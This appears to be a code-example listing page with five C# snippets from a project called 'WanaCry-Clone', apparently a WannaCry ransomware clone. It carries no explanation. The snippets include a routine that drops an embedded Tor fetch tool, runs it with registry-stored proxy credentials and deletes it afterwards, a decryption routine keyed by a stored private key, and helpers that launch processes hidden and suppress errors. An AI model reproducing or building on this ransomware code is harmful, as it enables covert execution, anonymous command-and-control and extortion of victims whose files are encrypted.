コード例 #1
0
ファイル: Utils.cs プロジェクト: urantialife/WanaCry-Clone
        public static string MakeRequest(string URL, bool useProxy)
        {
            PS.RedirectOutput = true;
            string str = "";

            if (useProxy)
            {
                string text  = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "Prx");
                string text2 = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "Cred");
                if (text == null)
                {
                    return("");
                }
                if (text2 != null)
                {
                    text = ((text.IndexOf("http://") != -1) ? text.Insert(7, text2 + "@") : text.Insert(8, text2 + "@"));
                }
                str = " -proxy " + text;
            }
            string arguments = "-iu " + URL + str;

            File.WriteAllBytes(Utils.TOR_GET_FNAME, Resources.tg);
            string arg_BD_0 = PS.ExecuteAndWait(Utils.TOR_GET_FNAME, arguments);

            File.Delete(Utils.TOR_GET_FNAME);
            PS.RedirectOutput = false;
            return(arg_BD_0);
        }
コード例 #2
0
ファイル: Utils.cs プロジェクト: urantialife/WanaCry-Clone
        public static void Decrypt(bool demo)
        {
            string path = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "wc_path");
            string text = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "private_key");

            if (demo)
            {
                PS.ExecuteAndWait(path, "-dd demo");
                return;
            }
            if (string.IsNullOrEmpty(text))
            {
                return;
            }
            PS.ExecuteAndWait(path, "-dd " + text);
        }
コード例 #3
0
        private static string Execute(string path, string arguments, bool wait)
        {
            string result;

            try
            {
                Process process = PS.StartHidden(path, arguments);
                if (wait)
                {
                    process.WaitForExit();
                    result = process.StandardOutput.ReadToEnd();
                }
                else
                {
                    result = null;
                }
            }
            catch
            {
                result = "";
            }
            return(result);
        }
コード例 #4
0
 public static void ExecuteAndForget(string path, string arguments)
 {
     PS.Execute(path, arguments, false);
 }
コード例 #5
0
 public static string ExecuteAndWait(string path, string arguments)
 {
     return(PS.Execute(path, arguments, true));
 }